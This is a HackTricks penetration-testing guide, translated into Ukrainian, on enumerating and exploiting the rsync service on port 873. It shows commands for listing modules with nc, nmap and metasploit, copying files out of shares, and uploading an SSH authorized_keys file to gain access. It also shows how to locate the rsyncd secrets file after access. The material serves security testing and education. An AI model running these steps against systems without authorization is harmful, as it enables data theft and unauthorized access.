hacktricks/network-services-pentesting/873-pentesting-rsync.md

7.7 KiB
Raw Permalink Blame History

873 - Pentesting Rsync

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Основна інформація

З вікіпедії:

rsync - це утиліта для ефективного перенесення та синхронізації файлів між комп'ютером та зовнішнім жорстким диском, а також між мережевими комп'ютерами шляхом порівняння часів модифікації та розмірів файлів.[3] Вона зазвичай зустрічається на Unix-подібних операційних системах. Алгоритм rsync є типом дельта-кодування і використовується для мінімізації використання мережі. Zlib може використовуватися для додаткового стиснення даних,[3] а SSH або stunnel можуть використовуватися для безпеки.

Порт за замовчуванням: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Перерахування

Банер та ручна комунікація

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Перерахування спільних папок

Модулі Rsync вважаються спільними каталогами, які можуть бути захищені паролями. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними обліковими даними, що вказується повідомленням "Доступ заборонено".

Brute Force

Ручне використання Rsync

Після отримання списку модулів дії залежать від того, чи потрібна аутентифікація. Без аутентифікації перелік і копіювання файлів з загальної папки до локального каталогу здійснюється через:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Цей процес рекурсивно передає файли, зберігаючи їх атрибути та дозволи.

З обліковими даними список і завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на введення пароля:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Щоб завантажити вміст, наприклад, файл authorized_keys для доступу, використовуйте:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Щоб знайти файл конфігурації rsyncd, виконайте:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

У цьому файлі параметр secrets file може вказувати на файл, що містить імена користувачів та паролі для аутентифікації rsyncd.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}